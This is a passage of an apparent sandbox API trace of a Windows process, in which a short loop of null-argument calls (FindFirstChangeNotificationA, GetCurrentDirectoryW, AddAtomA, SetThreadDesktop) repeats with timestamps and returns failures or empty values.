dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.320] GetLastError () returned 0x3 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.320] GetLastError () returned 0x3 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.320] GetLastError () returned 0x3 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.320] GetLastError () returned 0x3 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] AddAtomA (lpString=0x0) returned 0x0 [0117.320] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.320] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.320] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.321] GetLastError () returned 0x3 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.321] GetLastError () returned 0x3 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.321] GetLastError () returned 0x3 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.321] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.321] GetLastError () returned 0x3 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] AddAtomA (lpString=0x0) returned 0x0 [0117.321] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.321] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.322] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.322] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.322] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.322] GetLastError () returned 0x3 [0117.322] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.323] GetLastError () returned 0x3 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.323] GetLastError () returned 0x3 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.323] GetLastError () returned 0x3 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.323] GetLastError () returned 0x3 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.323] GetLastError () returned 0x3 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.323] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.323] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.323] GetLastError () returned 0x3 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] AddAtomA (lpString=0x0) returned 0x0 [0117.323] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.324] GetLastError () returned 0x3 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.324] GetLastError () returned 0x3 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.324] GetLastError () returned 0x3 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.324] GetLastError () returned 0x3 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.324] GetLastError () returned 0x3 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.324] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.324] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.324] GetLastError () returned 0x3 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.324] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.325] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.325] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.325] GetLastError () returned 0x3 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.325] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.325] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.325] GetLastError () returned 0x3 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.325] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.325] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.325] GetLastError () returned 0x3 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.325] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.325] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.325] GetLastError () returned 0x3 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.325] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.325] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.325] GetLastError () returned 0x3 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.325] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.325] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.325] GetLastError () returned 0x3 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] AddAtomA (lpString=0x0) returned 0x0 [0117.325] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.326] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.326] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.326] GetLastError () returned 0x3 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.326] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.326] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.326] GetLastError () returned 0x3 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.326] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.326] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.326] GetLastError () returned 0x3 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.326] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.326] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.326] GetLastError () returned 0x3 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.326] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.326] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.326] GetLastError () returned 0x3 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.326] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.326] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.326] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.326] GetLastError () returned 0x3 [0117.326] AddAtomA (lpString=0x0) returned 0x0 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.327] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.327] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.327] GetLastError () returned 0x3 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.327] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.327] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.327] GetLastError () returned 0x3 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.327] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.327] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.327] GetLastError () returned 0x3 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.327] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.327] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.327] GetLastError () returned 0x3 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.327] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.327] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.327] GetLastError () returned 0x3 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] AddAtomA (lpString=0x0) returned 0x0 [0117.327] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.327] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.327] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.327] GetLastError () returned 0x3 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.328] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.328] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.328] GetLastError () returned 0x3 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.328] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.328] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.328] GetLastError () returned 0x3 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.328] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.328] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.328] GetLastError () returned 0x3 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.328] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.328] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.328] GetLastError () returned 0x3 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] AddAtomA (lpString=0x0) returned 0x0 [0117.328] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.329] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.329] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.329] GetLastError () returned 0x3 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.329] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.329] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.329] GetLastError () returned 0x3 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.329] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.329] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.329] GetLastError () returned 0x3 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.329] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.329] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.329] GetLastError () returned 0x3 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.329] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.329] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.329] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.329] GetLastError () returned 0x3 [0117.329] AddAtomA (lpString=0x0) returned 0x0 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.330] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.330] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.330] GetLastError () returned 0x3 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.330] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.330] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.330] GetLastError () returned 0x3 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.330] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.330] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.330] GetLastError () returned 0x3 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.330] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.330] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.330] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.330] GetLastError () returned 0x3 [0117.330] AddAtomA (lpString=0x0) returned 0x0 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.331] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.331] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.331] GetLastError () returned 0x3 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.331] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.331] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.331] GetLastError () returned 0x3 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.331] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.331] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.331] GetLastError () returned 0x3 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.331] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.331] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.331] GetLastError () returned 0x3 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.331] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.331] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.331] GetLastError () returned 0x3 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] AddAtomA (lpString=0x0) returned 0x0 [0117.331] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.332] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.332] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 [0117.332] GetLastError () returned 0x3 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] AddAtomA (lpString=0x0) returned 0x0 [0117.332] SetThreadDesktop (hDesktop=0x0) returned 0 [0117.332] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0117.332] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x51 